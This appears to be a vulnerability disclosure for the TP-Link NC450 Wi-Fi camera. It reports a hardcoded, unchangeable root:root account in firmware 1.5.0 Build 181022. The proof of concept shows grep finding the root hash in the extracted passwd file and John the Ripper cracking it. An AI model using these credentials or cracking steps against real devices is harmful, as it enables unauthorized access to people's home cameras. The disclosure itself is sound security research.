NC450 version 1.5.0 Build 181022 Rel.3A033D contains a hardcoded root credential within its Linux distribution image.
6bba0a6109ba1247e569011ad249f79c*Summary:*
The NC450 is your favorable companion that meets to home and office
surveillance needs, keeping you in touch with what matters most. With its
smooth and durable Pan/Tilt of up to 300/110 degrees, you can turn the
camera to almost any position you want and watch over a wider area of your
home.
HD Pan/Tilt Wi-Fi Camera NC450 contain hard-coded credentials within its
Linux distribution image. This credentials (root:root) cannot be changed
through any normal operation of the camera.
*Vendor:*
TP-LINK Technologies Co., Ltd. - http://www.tp-link.us
*Affected Version:*
NC450 1.5.0 Build 181022 Rel.3A033D
*Vendor Status*
N/A
*Proof Of Concept:*
/home/oit/Desktop/Firmware/_NC450_1.5.0_Build_181022_Rel.3A033D.bin.extracted/jffs2-root
[oit@ubuntu] [10:34]
> grep -iRn "root:" .
Binary file ./fs_1/bin/pppd matches
./fs_1/etc/passwd:1:root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux
User,,,:/home/root:/bin/sh
./fs_1/etc/group:1:root:x:0:
root@kali:~# cat hash.me
root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux User,,,:/home/root:/bin/sh
root@kali:~# john hash.me --show
root:root:0:0:Linux User,,,:/home/root:/bin/sh
1 password hash cracked, 0 left
*Credit:*
Sachin Wagh (@tiger_tigerboy)
*Reference:*
https://www.tp-link.com/in/home-networking/cloud-camera/nc450/
https://www.tp-link.com/in/support/download/nc450/#Firmware
Best Regards,
*Sachin Wagh*
Security Researcher